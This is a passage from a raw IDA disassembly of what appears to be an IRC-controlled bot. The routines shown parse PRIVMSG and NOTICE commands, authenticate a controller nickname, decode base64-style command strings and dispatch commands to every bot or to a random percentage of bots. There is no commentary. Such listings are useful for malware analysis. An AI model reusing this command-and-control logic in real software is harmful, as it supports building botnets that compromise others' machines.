CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE48 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE48 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE48 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: .text:0040C9E4p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E9AC, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E9AC, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA5C[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA5C[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: .text:00416ABAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: .text:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E9B0[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E9B0[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E9B0[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: .text:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAB4 call sub_40F26E pop ecx pop ecx lea eax, byte_41EAB4 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; .text:00411294p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, 